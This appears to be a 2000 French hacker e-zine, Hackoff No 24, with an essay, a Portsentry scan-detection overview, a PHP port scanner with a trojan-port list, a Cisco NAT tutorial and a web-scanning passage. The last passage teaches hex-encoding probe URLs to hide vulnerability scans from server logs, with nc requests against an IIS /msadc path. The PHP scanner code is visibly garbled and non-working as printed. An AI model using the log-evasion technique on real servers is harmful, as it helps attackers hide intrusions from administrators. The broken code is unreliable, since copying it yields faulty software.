26-11-1900 - H@CKOFF No24 - * Para Bellum edition * - °º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø _/ _/ _/_/ _/_/_/ _/ _/ _/_/ _/_/_/_/ _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/_/_/ _/ _/_/ _/ _/ _/_/_/ _/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ / _/ _/ _/ _/ _/_/_/ _/ _/ _/_/ _/ _/ `°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø ___________________________________________________________________ / \ / Bienvenue dans ce Hackoff No 24 para-bellum edition (on s'y bat | / pour la cause de la savate). Au sommaire de ce numero 24 on vous | / oriente objet avec nos syllogismes algoritmo-progressifs a indices / | cartheso-platoniques. Un peu de poesie et de SE, de la programmation / | web en php et en perl, et des outils reseau et un cours sur NAT. / \________________________________________ ________________________/ \ | \| __________ .,:;>The Crew<;:,. ¯¯¯¯¯¯¯¯¯¯ /¯¯.gArd.¯¯\ / .h3rtz!. \ ____________________________________/ ..mistO... \_____________________________ ¦§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦/ ...blureD... \§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯/ ....courOu.... \¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ / .....tobozO..... \ / ......hAl2001..... \ / ......snIffdoZ...... \ ----8<----+-----8<--------8<---------\-8<--+-------8<--- / Ghosts : BirkOss G3n0cId3 \ /------------------------------\ / Guests: Hal , Joey, Lansciac \ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ____________________________________________________________ __________ / TabLe des mAtières : \ / HACK0ff \ |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| ]-=v0L 24=-[ | [0] DisclaimBot Tobozo | \ Nov 2000 / | [1] Edito Lansciac | ¯¯¯¯¯¯¯¯¯¯ | [2] Port Scanner php Tobozo | | [3] Nat sur Cisco Ulysse | | [4] Some hack technics Tobozo | | [5] Php4 installation Coolrasta | | [6] Mail Bomber php Tobozo | | [7] Phplib-Phpslash HOWTO Courou | | [8] Tutorial sur PERL BirkOss | | [9] L'ethique du SE T H C | ---------8<------+--------------8<---------------------8<---------------------8<- ¦ : . _ _______________________ _ -*0*- `^°*;:,.> ÐïsclaïmBot <.,:;*°^` _____________________________/¯¯¯¯¯¯¯By tobozo¯¯¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Le droit a l'erreur est un luxe réservé a l'humanité et qui provoque des réalités différentes selon le contexte dans lequel il s'exprime. Mais que dire de l'intelligence artificielle quand c'est elle qui induit en erreur ? Asimov y avait pensé tres fort et nous avait pondu ses trois lois de la robotique (rien a voir avec moulinex), mais comme on n'est pas des machines un petit réajustement s'est imposé... Les trois lois de la cybernautique Première loi ------------ Un cybernaute ne peut porter atteinte à un autre cybernaute ni, restant passif, laisser un autre cybernaute exposé au danger. Deuxième loi ------------ Un cybernaute doit obéir aux ordres donnés par sa conscience, sauf si de tels ordres sont en contradiction avec la première loi. Troisième loi ------------- Un cybernaute doit protéger son existence dans la mesure ou cette protection n'est pas en contradiction avec la première ou la deuxième loi. ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ _______________________ _ -*1*- `^°*;:,.> Ê Ð ï t 0 <.,:;*°^` _____________________________/¯¯¯¯¯¯By Lansciac¯¯¯¯¯¯¯\__________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ "Complément d'objet direct" Une modélisation vécue par Lusse >La premiere partie est un petit recit imagé que peu >comprendront. D'ou son si grand interet...lol La vie >d'un(e) programmeuse d'objets tout au long d'une >journee... 1) Objet 2) Complément 3) Directions 4) Lexique 1) OBJET # intro( # "Coefficient espace temps", # "Cerebral Status", # "Paradox", # "Resolution") Coefficient espace temps => "Encore un jour anodin", EXTRA => "une autre de ces aurores sans lendemain", EFFECT=> "qui me laisse a penser que jamais je ne recommencerai" Cerebral Status => "je sais bien", EXTRA => "qu'a chaque lendemain de crise", EFFECT=> "je me le promets..." Paradox => "Mais a quoi bon", EXTRA => "cette fois-ci encore me faire un serment hypocrite sans avenir, contrairement a mon crime." Resolution => "Je prends le temps", EXTRA => "de me mettre aux normes.", EFFECT=> "j'avale une "java cup" et me prepare a retrouver mon compagnon d'infortune..." Coefficient espace temps => "Une demi heure plus tard", EXTRA => "je suis prete.", EFFECT=> "Je sonne a sa devanture, il repond tout de suite, comme a son habitude, bien dresse :)." Cerebral Status => "Je lui dit de se taire"; EXTRA => "ne rien dire", EFFECT=> "juste de me l'ecrire" Paradox => "Il etait encore avec moi hier soir", EXTRA => "il sait que j'ai les synapses en ebulition" EFFECT=> "Les voisins sont bruyants, une fois de plus ils tapent au plafond..." Resolution => " A croire qu'ils elevent des araignées" EXTRA => "a vouloir aussi souvent nettoyer. le pire, je crois, c'est qu'ils ne font cela que pendant mes migraines", EFFECT=> "A croire que je pourrai moi meme decrire leurs agissements dans mes abus" ]Mode text* 2)COMPLEMENT_____ ______________________ |Lansciac.crise()|¤-----|Voisin.tapage()| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ J'avale deux efferalgants a la codeïne et me reconcentre sur les dires de mon compagnon. Il me propose deux activites pour occuper notre journee. Arfff...je me mords doucement la langue. Je m'en doutais enormement, mais avais l'espoir, je ne sais, peut etre par magie, qu'il me proposa autre chose. Je ne pouvais aller ni a droite, ni a gauche, j'etais coincée, comme a Rhodes, a l'epoque du colosse... N'en avait il point assez? Trois fois par semaine, chaque fois que j'allais vers lui, il me tentait, me proposait de parfaire ce vice qu'est le mien, tel un dealer. Je me suis donc toute la journee avalee de l'ihm, avec un melange de cerise ainsi que du miel (ouaip, je sais, la, il est tres tres lourd...Enjoy) sur quelques tartines d'agl aux fibres. Rajoutant ici et la quelques objets fantaisistes a mon cocktail pour parfaire mon projet. J'ai aussi beaucoup joue sur mes relations... me connectant sur un chat, j'ai commis quelques (ex)actions en public et me suis finalement rabattue sur quelques relations en privé qui exitaient[...] Il est minuit, mon fidele assistant a chaud. il est au bord du petage de plomb; je pense plutot, de mon cote, a un vidage de la memoire ;). Quant a moi, je suis completement enivree et excitee. J'ai quelques halucinations inquietantes. Apres avoir ferme les yeux deux secondes, je les reouvre et vois toujours ces petits plus et moins etoiles qui tournent autour de ma tete, comme si je pouvais les toucher. Je me demande si tout cela n'est pas du a l'heritage que mon mentor m'a transmise :). 3)DIRECTIONS S'il eu fallu d'ecrire la notion d'objet, je me serai ecriee table ou chaise, mais qui de vous aurez compris? peu m'importe a vrai dire. Nous vivons a 200 a l'heure, nous n'entendons meme plus le bruit des arbres qui tombent sans bruits, ronges par les castors, et vous voudriez que je vous explique ce que je ressents qd je manipule des objets? Qui suis je pour vous expliquer tout cela? Personne, nicht, nada, nop, nothing, 90, 0... Certes, je suis tout cela et alors? Dans tous les cas, je serai une classe a moi toute seule, une classe separee de la virgule par un point, indestructible car importante, oubliee car sans emploi. Pour ceux a qui les mots uml et merise ne signifie rien, je dis, que de chance, cultivez votre ignorance et oubliez ces instant fugaces ou vous m'avez lue. Mais, au contraire, si vous voulez decouvrir ce qu'est une encephalo spongiphorme, bouffez de la vache folle; ou tout du moins, faites de l'objet, ca vous mettra dans le meme etat... A votre avis, a quoi reconnait on un programmeur normal d'un programmeur objet?je vous laisse deviner... Cet instant de recherche chez vous est un instant de fugace plaisir chez moi.. Ca y est, je vous ai fait assez passienter.. Vous avez trouve? Toujours pas? Et bien c'est tres simple alors; vous n'etes pas un programmeurs objet ;). Quand on invoquera chez vous les termes java ou C++ et que vous sentirez vos doigts fremir, a la recherche d'un clavier egare; vous pourrez a ce moment dire que vous etes programmeur objet. Au dela des mots, c'est toute une philosophie qui s'instruit par derriere et laisse votre emoi en bulition. Certains par peurs diront qu'est-ce? Surement une nouvelle bete qui rode et qui nous veux encore du mal... D'autre diront, si je peux m'approprier cette facon de penser, j'aurai tout pouvoir entre mes mains (cf j++). Si, assurement, je suis dans la bonne pensee, il y a fort a parier que demain je serai linchee. Non pas pour mon apparence ou ma raison, mais bien parce que je vous aurais dit la verite, tel galilee en son temps fut ex-communie; pour moi on fera de meme, on m'isolera; cantonnee derriere des vieux PL6, on m'obliegera a maintenir des applis cobol; voir meme faire une doc sur la rigueur de ma tres dignitaire Ada. Si le prix de ma liberte est pour moi l'abnegation de l'objet par l'objet et pour l'objet; alors je prefere que vous m'enfermiez et que vous cryptiate la cle en asm... qui lui contrairement aux dires de certains est le plus bel objet jamais cree... Donnez moi dU MieL Lansciac. -------------------------------8<-------------------------- 4)LEXIQUE Pour la premiere partie, just au cas ou: mon compagnon, c'est mon ordi l'IHM, c pas le dernier alcool a la mode ;) l'AGL, voir les buveurs de kro. CERISE -> merise MIEL -> uml (dit tres vite...lol) Heritage, plus et moins sont des notions objets... lansciac@caramail.com ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ _______________________ _ -*2*- `^°*;:,.> Scanner de port php <.,:;*°^` _____________________________/¯¯¯¯¯¯¯By tobozo¯¯¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Il n'est pas tres au point mais il a le merite de marcher a 100% en local (sauf sur windoze hehehe). Etant donné qu'un scanner peut etre un probleme autant qu'une solution sur un reseau on va fournir deux problemes et deux solutions. La premiere partie est offerte par Hertz@webmails.com (document original : portsentry 06-07-2000) Pourquoi détecter les scans de ports ------------------------------------ Un scan de ports est un des premiers pas qu'un attaquant fait juste avant de pénétrer un réseau. C'est un moyen pour lui d'obtenir des informations telles que: les hôtes présents dans le réseau; les services (http, ftp, ssh...) ouverts; le système d'exploitation. Un scan n'est pas une attaque en soi, mais il en constitue une étape possible et courante. Types de scans détectés Portsentry peut détecter de nombreux types de scans, tels que les scans de type "connect()", et mi-ouverts "half-scan". Il peut détecter les scans "Xmas tree", "Syn scan", "NULL scan". Pour plus d'informations, vous pouvez consulter la page de manuel française de nmap . Configuration et Options Portsentry se configure grâce à un simple fichier du type Apache. Ce fichier est par défaut /usr/local/psionic/portsentry/portsentry.conf Il est possible de prendre plusieurs type de mesures face à des scan: bloquer l'hôte grâce à tcp-wrapper (/etc/hosts.deny); lancer une commande (ex: scanner l'hôte en retour, exécuter un traceroute jusqu'à celui-ci...) Toutefois, il est fortement déconseillé d'entreprendre une action face à un scan, car celui-ci ne prouve rien. En effet, il est tout à fait possible qu'un attaquant souhaitant nuire forge des paquets avec une adresse de la Société Générale pour IP source et celle de la Caisse d'Épargne pour IP destination. Cela aurait pour résultat de faire croire à la Caisse d'Épargne qu'elle est en train de se faire scanner par la Société Générale, alors que l'attaquant se trouve à Moscou. Imaginez par ailleurs que quelqu'un vous scanne avec l'adresse IP source de votre propre serveur de mail. Si par excès de précaution vous avez placé une option d'ajout dynamique de l'IP source dans le hosts.deny, alors, il est vrai que cette personne n'aura pas la réponse à ses scans, mais elle parviendra néanmoins à vous empêcher de dialoguer avec votre serveur de mail. Les options d'exécution suivantes sont disponibles : portsentry -tcp (basic port-bound TCP mode) portsentry -udp (basic port-bound UDP mode) portsentry -stcp (Stealth TCP scan detection) portsentry -atcp (Advanced TCP stealth scan detection) portsentry -sudp ("Stealth" UDP scan detection) portsentry -audp (Advanced "Stealth" UDP scan detection) Conclusion Pour plus d'informations, se reporter aux fichiers README.install et README.methods qui se trouvent dans l'archive du programme. Une suite logique après l'installation de Portsentry serait l'installation d'un produit d'analyse de logs tel que logcheck. Consultez le site de psionic : http://www.psionic.com/abacus/portsentry/ La deuxieme partie est un code php, pour le faire fonctionner il faudra avoir acces en upload sur un serveur qui supporte ce langage a partir de la version 3.0.9. Enjoy * * Permission d'utliser et de modifier ce logiciel ainsi que sa * documentation pour tout usage non commercial est accordee * sans autre charge supplementaire du moment que l'auteur est * prévenu...Meme chose pour la copie et la distribution, * du moment que cette notice de permission y figure. * Ce code est fourni "tel quel" sans aucune garantie de ce * qu'il pourrait produire ou ne pas produire. * * L'auteur n'est pas responsable de ce que vous faites avec * ce script, n'en abusez pas * * Note : ce script ne fonctionne pas sur les hosts qui * utilisent auto_append ou auto_prepend pour inserer du * code de banniere (il genere du javascript) * */ error_reporting(0); $starttime=time(); $portlimit=100; $incr=10; $portdesc[0] = "Reserved"; $portdesc[1] = "TCP Port Service Multiplexer"; $portdesc[2] = "Management Utility"; $portdesc[3] = "Compression Process"; $portdesc[4] = "Unassigned"; $portdesc[5] = "Remote Job Entry"; $portdesc[6] = "Unassigned"; $portdesc[7] = "Echo"; $portdesc[8] = "Unassigned"; $portdesc[9] = "Discard"; $portdesc[10] = "Unassigned"; $portdesc[11] = "Active Users"; $portdesc[12] = "Unassigned"; $portdesc[13] = "Daytime"; $portdesc[14] = "Unassigned"; $portdesc[15] = "Unassigned"; $portdesc[16] = "Unassigned"; $portdesc[17] = "Quote of the Day"; $portdesc[18] = "Message Send Protocol"; $portdesc[19] = "Character Generator"; $portdesc[20] = "File Transfer [Default Data]"; $portdesc[21] = "File Transfer [Control]"; $portdesc[22] = "Unassigned"; $portdesc[23] = "Telnet"; $portdesc[24] = "any private mail system"; $portdesc[25] = "Simple Mail Transfer"; $portdesc[26] = "Unassigned"; $portdesc[27] = "NSW User System FE"; $portdesc[28] = "Unassigned"; $portdesc[29] = "MSG ICP"; $portdesc[30] = "Unassigned"; $portdesc[31] = "MSG Authentication"; $portdesc[32] = "Unassigned"; $portdesc[33] = "Display Support Protocol"; $portdesc[34] = "Unassigned"; $portdesc[35] = "any private printer server"; $portdesc[36] = "Unassigned"; $portdesc[37] = "Time"; $portdesc[38] = "Route Access Protocol"; $portdesc[39] = "Resource Location Protocol"; $portdesc[40] = "Unassigned"; $portdesc[41] = "Graphics"; $portdesc[42] = "Host Name Server"; $portdesc[43] = "Who Is"; $portdesc[44] = "Who Is"; $portdesc[45] = "Message Processing Module [recv]"; $portdesc[46] = "MPM [default send]"; $portdesc[47] = "NI FTP"; $portdesc[48] = "Digital Audit Daemon"; $portdesc[49] = "Login Host Protocol"; $portdesc[50] = "Remote Mail Checking Protocol"; $portdesc[51] = "IMP Logical Address Maintenance"; $portdesc[52] = "XNS Time Protocol"; $portdesc[53] = "Domain Name Server"; $portdesc[54] = "XNS Clearinghouse"; $portdesc[55] = "ISI Graphics Language"; $portdesc[56] = "XNS Authentication"; $portdesc[57] = "any private terminal access"; $portdesc[58] = "XNS Mail"; $portdesc[59] = "any private file service"; $portdesc[66] = "Oracle SQL*NET"; $portdesc[67] = "Bootstrap Protocol Server"; $portdesc[68] = "Bootstrap Protocol Client"; $portdesc[69] = "Trivial File Transfer"; $portdesc[70] = "Gopher"; $portdesc[71] = "Remote Job Service"; $portdesc[76] = "Distributed External Object Store"; $portdesc[78] = "vettcp"; $portdesc[79] = "Finger"; $portdesc[80] = "World Wide Web HTTP"; $portdesc[88] = "Kerberos"; $portdesc[92] = "Network Printing Protocol"; $portdesc[107] = "Remote Telnet Service"; $portdesc[110] = "Post Office Protocol - Version 3"; $portdesc[113] = "Authentication Service"; $portdesc[115] = "Simple File Transfer Protocol"; $portdesc[119] = "Network News Transfer Protocol"; $portdesc[137] = "NETBIOS Name Service"; $portdesc[138] = "NETBIOS Datagram Service"; $portdesc[139] = "NETBIOS Session Service"; /* REGISTRED PORTS */ $portdesc[1024] = "Reserved"; $portdesc[1025] = "network blackjack"; $portdesc[1356] = "CuillaMartin Company"; $portdesc[1361] = "LinX"; $portdesc[1366] = "Novell NetWare Comm Service Platform"; $portdesc[1376] = "IBM Person to Person Software"; $portdesc[1387] = "Computer Aided Design Software Inc LM"; $portdesc[1416] = "Novell LU6.2"; $portdesc[1428] = "Informatik License Manager"; $portdesc[1433] = "Microsoft-SQL-Monitor"; $portdesc[1434] = "Microsoft-SQL-Monitor"; $portdesc[1465] = "Pipes Platform"; $portdesc[1477] = "ms-sna-server"; $portdesc[1478] = "ms-sna-base"; /* TROJAN PORTS */ $trojports=array ( "31", "80", "121", "456", "555", "555", "555", "666", "1001", "1001", "1010", "1011", "1015", "1033", "1042", "1080", "1170", "1243", "1245", "1269", "1492", "1509", "1600", "1807", "1981", "1999", "2001", "2023", "2140", "2283", "2565", "2583", "2801", "3791", "4567", "4950", "4950", "5011", "5031", "5321", "5400", "5400", "5521", "5550", "5569", "5742", "6400", "6669", "6670", "6883", "6939", "6969", "7306", "7789", "9400", "9872", "9875", "9989", "9989", "10607", "11000", "11223", "12076", "12223", "12346", "12701", "16969", "17300", "20000", "20034", "20203", "20331", "21554", "21554", "22222", "23456", "23456", "29891", "30029", "30100", "30303", "30999", "31337", "31339", "31787", "34324", "34324", "40412", "50766", "53001", "54321", "61466", "65000", "65535"); $trojnames=array ( "Master_Paradise", "Apache", "BO_jammerkillahV", "Hackers_Paradise", "Stealth_Spy", "Phase0", "NeTadmin", "Attack_FTP", "Silencer", "WebEx", "Doly_trojan_v1.35", "Doly_Trojan", "Doly_trojan_v1.5", "Netspy", "Bla1.1", "Wingate", "Streaming_Audio_Trojan", "SubSeven", "Vodoo", "Mavericks_Matrix", "FTP99CMP", "Psyber_Streaming_Server", "Shiva_Burka", "SpySender", "ShockRave", "Backdoor", "TrojanCow", "Pass_Ripper", "The_Invasor", "HVL_Rat5", "Striker", "Wincrash2", "Phineas", "Total_Eclypse_1.0", "FileNail", "IcqTrojen", "IcqTrojan", "OOTLT_Cart", "NetMetro_1.0", "Firehotcker", "BladeRunner", "BackConstruction1.2", "Illusion_Mailer", "Xtcp", "RoboHack", "Wincrash", "The_tHing", "Vampire", "Deep_Throath_1,2,3.x", "DeltaSource", "Indoctrination", "Gatecrasher", "NetMonitor", "ICQKiller", "InCommand_1.0", "PortalOfDoom", "Portal_of_Doom", "InIkiller", "iNi-Killer", "Coma", "Senna_Spy_Trojans", "ProgenicTrojan", "Gjamer", "Hack99_KeyLogger", "NetBus_1.x", "Eclipse_2000", "Priotrity", "Kuang2_theVirus", "Millenium", "NetBus_Pro", "Logged!", "Bla", "GirlFriend", "Schwindler_1.82", "Prosiak_0.47", "WhackJob", "UglyFtp", "The_Unexplained", "AOLTrojan1.1", "NetSphere", "Socket23", "Kuang", "Back_Orifice", "NetSpy_DK", "Hack_a_tack", "Tiny_Telnet_Server", "BigGluck_aka_TN", "TheSpy", "Fore_Schwindler", "RemoteWindowsShutdown", "Schoolbus_1.6", "Telecommando", "Devil_1.03", "ShitHeep"); // maximum de ports a scanner par portion de code function reload() { global $from, $to; echo "document.write('$from _ $to : ');\n"; relay(); } function relay() { global $index; echo "document.write('$index
');\n"; } function checkport($port) { global $host; $status = 0; $socket = fsockopen($host, $port, &$errno, &$errstr); if ($socket) { $status = 1; set_socket_blocking($socket, 0); $count = 0; $portOutput = ""; while ($count < $timeout) { if ($readString = fread($socket, 1)) { $readString = htmlspecialchars($readString); $portOutput .= $readString; } $count++; } fclose($socket); if ($portOutput != "") { $index="Output:
$portOutput
"; relay(); } } else { /* print ""; */ } return $status; } function scanner($from, $to) { global $starttime, $portdesc, $trojports, $trojnames; for($port=$from; $port<=$to; $port++) { $now=time(); if (checkport($port)) { $index.="-$port " $index.=" : ".$portdesc[$port]. $i=0; while($i$now) { // okay } else { // timeout !! reload(); exit; } } else { if($starttime+8>$now) { // } else { // timeout !! $index.="[$from _ $to]"; reload(); exit; } } } return $index; } if($index) { reload(); exit; } if((!$recursive) && (!$host)) { echo $REMOTE_ADDR; echo "
".gethostbyaddr($REMOTE_ADDR); ?>
*  Php network security scanner 
* 
* (c)free 2000 by: tobozo & ThD  
Host to scan
Number of ports to scan
Ports :
from : to :
$portlimit) { while($from<$to) { $tempto=$from+$portlimit; if($reload=="1") { $index=scanner($from, $from+$portlimit); reload(); } else echo "\n"; $from=$tempto; if($from>$to) $from=$to; } } else { if($reload=="1") { $index=scanner($from, $to); reload(); } else echo "\n"; } ?> ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ____________________________________________ _ -*3*- `^°*;:,.> - La NAT sur routeur cisco - <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯By Ulysse¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Cette doc présente brièvement les principes NAT et PAT et leur mise en oeuvre détaillée sur un Cisco de base (modèle 800/1000). Bien entendu, si vous voulez rajouter quelque chose, ou transformer cette doc en présentation plus complète des routeurs, je vous y encourage. Tout commentaire est par ailleurs le bienvenu. Envoyez toute doc modifiée à : ulysse31@madchat.orgd Qu’est ce que la NAT ? La Network Address Translation ou translation d’adresses IP est le fait de traduire des adresses IP privées (LAN) vers des adresses IP publiques (Internet). Le premier intérêt de la NAT est que les adresses publiques sur le net sont limitées (255*255*255*255 mais quand même trop peu ), tout ordinateur ne peut donc pas avoir sa propre adresse publique. Pour ça, il existe des plages d’adresses qui sont réservées aux réseaux privés (LAN) par exemple 172.16.0.*, 192.15.*.*, 10.*.*.* mais, ces adresses sont utilisées par plusieurs ordinateurs au monde, qui ne peuvent donc se connecter avec ce type d’adresses à Internet. Le second intérêt de cette technologie et que si le provider ne nous à attribué qu’un petit nombre d’adresses IP publiques et qu’on à plus de machines à connecter au net, ça permet de « partager » les adresses IP. Il y à 3 types de NAT : La NAT statique ou une adresse privée (LAN) correspond à une adresse publique (Internet). La correspondance est toujours la même. Utile pour limiter ou contrôler les accès au net de certaines IP. La NAT dynamique ou l’on dispose d’une série d’adresses publiques pour le LAN, le premier à se connecter, prend la première, le second la seconde… Les adresses publiques sont attribuées dynamiquement à la connexion. C’est le NAT le plus utilisé pour des raisons de simplicité de configuration. La PAT (Port Address Translation). On ne dispose que d’une adresse IP publique et plusieurs machines peuvent être reliées en même temps au net. Le routeur dispose d’une table de routage et fait correspondre des ports à des machines. Par exemple, la machine A veut se connecter sur le site http://www.madchat.org, elle envoie une requête au routeur (adresse 172.16.0.1 port 80) qui traduit l’adresse IP de la machine A, en adresse IP publique et qui change le numéro du port demandeur (par exemple, elle le remplace par le port 2034) et envoie la requête au site www.madchat.org (IP 200.01.25.69, port 80). Le site répond sur l’adresse IP publique du routeur (212.81.106.161 port 2034) qui transmet à la machine qui à demandé la connexion car le routeur sait que les requêtes reçues sur le port 2034 sont à expédier à la machine A port 80 (c’est inscrit dans la table de routage). Si la machine B fait elle aussi une requête pendant ce temps, le routeur lui attribuera un autre de ses ports. Configuration d’un routeur Cisco (exemple : série 1000) pour le NAT : Avant de configurer le routeur pour faire du NAT, il faut tout d’abord vérifier que le système d’exploitation du routeur (Unix Cisco) appelé IOS pour Internet Operating System est capable de faire du NAT. Pour ceci, il faut connecter le routeur sur un port COM d’un ordinateur, lancer une connexion Hyper terminal. A l’invite Routeur> (l’invite est en fait le nom du routeur), entrez « en » (en pour enable) puis le mot de passe secret, entrez : « sh ru » (pour show running configuration) et appuyez sur tab puis sur entrée. La version de l’IOS doit alors s’afficher (c’est du genre 12-2.17Y2MZ), il faut ensuite vérifier qu’elle est capable de faire du NAT sur le site http://www-europe.cisco.com/warp/public/458/41.html ou en tapant NAT ?, si rien n’apparaît, il faut une autre version. Si la version n’est pas capable de faire du NAT, il faut en charger une compatible sur le routeur. Pour cela, il faut disposer d’un serveur TFTP (Trivial File Transfer Protocol) sur le PC auquel le routeur est relié et de la version compatible sur le PC. Lancer le serveur TFTP. Sur le routeur, à l’invite Routeur# , tapez copy tftp flash. Ensuite, le routeur demande l’adresse IP du serveur TFTP. Le nom du fichier source. Le nom du fichier cible. Il demande de confirmer 2 fois l’effacement de la flash. Le transfert commence. Si tout s’est bien passé, le serveur TFTP doit afficher des # et succesful a la fin, le routeur doit afficher des points d’exclamations et un ok à la fin. Sinon, retenter l’envoi ou tenter avec un autre IOS. Il faut entrer tout d’abord setup puis 2 fois yes (pour rentrer dans le menu de configuration puis pour voir la configuration actuelle). Entrer le nom du routeur (Router). Entrer les 3 mots de passe (secret, enable et virtual terminal), ensuite, le routeur propose de configurer plusieurs protocoles, toujours répondre non, sauf pour le protocole IP. Le routeur demande ensuite de configurer les interfaces (Serial, Ethernet). Si l’interface ethernet0 est celle utilisée (interface utilisée par défaut), mettre yes , rentrer l’adresse IP pour cette interface (par exemple 172.16.0.254), laisser le choix par défaut pour le masque de sous réseau. Il faut maintenant configurer la 2éme interface (ISD ou bri0 ou Aux sur le 2500) et lui attribuer une adresse IP (l’adresse IP publique) (par exemple 212.81.106.162 ). Maintenant, on va passer à la configuration du NAT. 3. Syntaxe : Entrez conf t. A/ Nat dynamique : Pour une configuration en NAT dynamique (une adresse IP privée aboutit à la première adresse IP publique disponible) : Tapez : « int eth0 » (pour indiquer que l’on configure l’interface ethernet 0) puis : « IP nat inside » entrez ensuite « ip address » suivie de l’ip LAN du routeur et du masque de sous réseau. Exemple : « ip address 172.16.0.254 255.255.0.0 ». Dans cet exemple, toutes les adresses en 172.16.0.xxx sont autorisées à sortir sur Internet par le routeur. Ensuite, il faut configurer l’IP externe : « int bri0 » (bri0 est le port sur lequel la ligne isdn est connectée). « ip nat outside » « ip address première adresse ip sortante puis masque de sous réseau ». exemple : « ip address 212.81.106.161 255.255.255.224 ». « exit » « access-list 2 permit 172.16.0.0 0.0.0.127 » « ip nat pool ext 212.81.106.162 212.81.106.190 netmask 255.255.255.224 » ip nat inside source list 2 pool ext » Dans cet exemple, les adresses ip publiques entre 212.81.106.162 et 212.81.106.190 seront attribuées dynamiquement aux ip privées en 172.16.0.xxx. B/ Nat statique : « conf t » « ip nat inside » « ip nat outside » « ip nat source cible » exemple : « ip nat 172.16.0.2 212.81.106.162 » recommencer l’opération autant de fois que nécessaire ( juste la dernière ligne ). C/ PAT : « conf t » « ip nat pool acl overload » « access-list 101 permit 172.16.0.0 255.255.0.0 any » ainsi, toutes les adresses à partir de la 172.16.0.1 peuvent sortir par le routeur en PAT. Pour interdire un port sur toutes les machines : « access-list 10 deny 172.16.0.0 255.255.0.0 agent 1032 » Cet ligne crée une ‘access list’ qui interdit d’utiliser le port 1032 pour toutes les machines. ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ _____________________ _ -*4*- `^°*;:,.> Web Scanning <.,:;*°^` _____________________________/¯¯¯¯¯¯ ¯¯¯¯¯\_____________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Contexte : scan d'un serveur web Technique : on the rocks -L'encodage Hexa ---------------- La methode la plus basique pour paumer un admin dans ses logs lors d'un passage au crible de son serveur pour des vulnerabilites connues est de deguiser l'url des requetes en remplacant les lettres par leurs valeurs hexadecimales ASCII. Les investigations etant souvent basee sur des recherches texte il est tres facile de semer le trouble en encodant le tout. Par exemple le test pour la vulnerabilite MDAC sur IIS laisse les traces suivantes : 06:45:25 10.0.2.79 GET /msadc/ 302 Du coté du pingouin qui envoie la requete, ca peut ressembler a ca : [root@localhost /root]# nc -n 10.0.2.55 80 GET /msadc HTTP/1.0 Ceci produit donc le resultat suscité. En substituant les lettres par leur valeur ASCII en hexa, la chaine "msadc" devient alors 6D 73 61 64 63. L'ascii encoding en hexa n'est pas toujours efficace, nous allons voir pourquoi... La requete suivante est donc forgée : [root@localhost]# nc -n 10.0.2.55 80 GET /%6D%73%61%64%63 HTTP/1.0 Ha bin merde sur IIS ca change rien, m'enfin c pas grave vu que la faille mdac est quand meme assez 